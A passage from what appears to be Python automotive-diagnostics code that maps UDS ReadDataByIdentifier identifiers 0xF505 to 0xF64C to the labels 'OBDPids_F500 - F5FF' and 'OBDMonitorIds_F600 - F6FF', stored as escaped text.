F5FF\"\nUDS_RDBI.dataIdentifiers[0xf505] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf506] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf507] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf508] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf509] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf50f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf510] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf511] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf512] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf513] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf514] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf515] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf516] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf517] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf518] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf519] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf51f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf520] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf521] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf522] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf523] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf524] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf525] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf526] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf527] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf528] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf529] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf52f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf530] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf531] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf532] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf533] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf534] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf535] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf536] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf537] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf538] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf539] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf53f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf540] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf541] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf542] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf543] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf544] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf545] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf546] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf547] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf548] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf549] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf54f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf550] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf551] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf552] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf553] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf554] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf555] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf556] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf557] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf558] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf559] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf55f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf560] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf561] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf562] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf563] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf564] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf565] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf566] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf567] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf568] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf569] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf56f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf570] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf571] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf572] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf573] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf574] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf575] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf576] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf577] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf578] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf579] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf57f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf580] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf581] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf582] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf583] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf584] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf585] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf586] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf587] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf588] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf589] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf58f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf590] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf591] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf592] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf593] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf594] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf595] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf596] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf597] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf598] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf599] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59a] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59b] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59c] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59d] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59e] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf59f] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5a9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5aa] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ab] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ac] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ad] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ae] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5af] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5b9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ba] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5bb] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5bc] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5bd] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5be] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5bf] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5c9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ca] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5cb] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5cc] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5cd] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ce] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5cf] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5d9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5da] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5db] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5dc] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5dd] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5de] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5df] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5e9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ea] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5eb] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ec] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ed] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ee] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ef] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f0] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f1] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f2] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f3] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f4] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f5] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f6] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f7] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f8] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5f9] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5fa] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5fb] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5fc] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5fd] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5fe] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf5ff] = \"OBDPids_F500 - F5FF\"\nUDS_RDBI.dataIdentifiers[0xf600] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf601] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf602] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf603] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf604] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf605] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf606] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf607] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf608] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf609] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf60f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf610] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf611] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf612] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf613] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf614] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf615] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf616] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf617] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf618] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf619] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf61f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf620] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf621] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf622] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf623] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf624] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf625] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf626] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf627] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf628] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf629] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf62f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf630] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf631] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf632] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf633] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf634] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf635] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf636] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf637] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf638] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf639] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63c] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63d] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63e] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf63f] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf640] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf641] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf642] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf643] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf644] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf645] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf646] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf647] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf648] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf649] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64a] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64b] = \"OBDMonitorIds_F600 - F6FF\"\nUDS_RDBI.dataIdentifiers[0xf64c] = 